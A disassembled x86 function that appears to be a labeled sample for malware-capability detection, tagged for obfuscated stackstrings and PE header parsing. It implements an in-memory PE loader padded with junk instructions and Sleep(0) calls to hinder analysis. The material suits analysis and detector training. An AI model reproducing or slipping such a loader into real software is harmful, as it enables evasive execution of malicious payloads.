Function at 0x4018e0
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
push edi
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.HeapAlloc
push str.kernel32.dll
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [ebp - 0x10], eax
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
push str.VirtualAlloc
push str.kernel32.dll
call esi
push eax
call edi
mov dword [ebp - 0x14], eax
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov al, 0x65
mov cl, 0x73
mov byte [ebp - 0x24], 0x47
mov byte [ebp - 0x23], al
mov byte [ebp - 0x22], 0x74
mov byte [ebp - 0x21], 0x50
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x6f
mov byte [ebp - 0x1e], 0x63
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x1b], cl
mov byte [ebp - 0x1a], 0x48
mov byte [ebp - 0x19], al
mov byte [ebp - 0x18], 0x61
mov byte [ebp - 0x17], 0x70
mov byte [ebp - 0x16], 0
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
lea eax, [ebp - 0x24]
push eax
push str.kernel32.dll
call esi
push eax
call edi
mov dword [ebp - 0xc], eax
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov eax, dword [ebp + 8]
cmp word [eax], 0x5a4d
je 0x4019f5
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 8], esi
cmp dword [esi], 0x4550
je 0x401a0e
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 0x50]
mov edx, dword [esi + 0x34]
push 4
push 0x2000
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
mov dword [ebp - 4], edi
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
test edi, edi
jne 0x401a54
mov eax, dword [esi + 0x50]
push 4
push 0x2000
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 4], eax
mov edi, eax
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
test edi, edi
jne 0x401a72
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0x14
push 0
call dword [ebp - 0xc]
push eax
call dword [ebp - 0x10]
xor ecx, ecx
mov dword [ebp - 0x10], eax
mov dword [eax + 4], edi
mov dword [eax + 0xc], ecx
mov dword [eax + 8], ecx
mov dword [eax + 0x10], ecx
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push ecx
call ebx
mov ecx, dword [esi + 0x50]
push 4
push 0x1000
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov edx, dword [esi + 0x54]
push 4
push 0x1000
push edx
push edi
call dword [ebp - 0x14]
mov edi, eax
mov dword [ebp - 0x14], edi
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov ecx, dword [esi + 0x54]
mov esi, dword [ebp + 8]
add ecx, dword [esi + 0x3c]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov ecx, dword [ebp + 8]
mov esi, dword [ebp - 0x14]
mov edx, dword [ecx + 0x3c]
add edx, esi
mov esi, dword [ebp - 0x10]
mov dword [esi], edx
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov eax, dword [esi]
mov edi, dword [ebp - 4]
mov dword [eax + 0x34], edi
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
push esi
push ecx
push edx
call fcn.00401c00
add esp, 0xc
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov ecx, dword [ebp - 8]
mov eax, edi
sub eax, dword [ecx + 0x34]
je 0x401b7e
push eax
push esi
call fcn.00402220
add esp, 8
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
push esi
call fcn.00402370
add esp, 4
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
push esi
call fcn.00401eb0
add esp, 4
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
mov edx, dword [esi]
mov eax, dword [edx + 0x28]
test eax, eax
je 0x401bf1
add eax, edi
mov dword [ebp + 8], eax
nop
nop
nop
push eax
pop eax
inc eax
dec eax
add eax, 1
sub eax, 1
push 0
call ebx
push 0
push 1
push edi
call dword [ebp + 8]
mov dword [esi + 0x10], 1
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret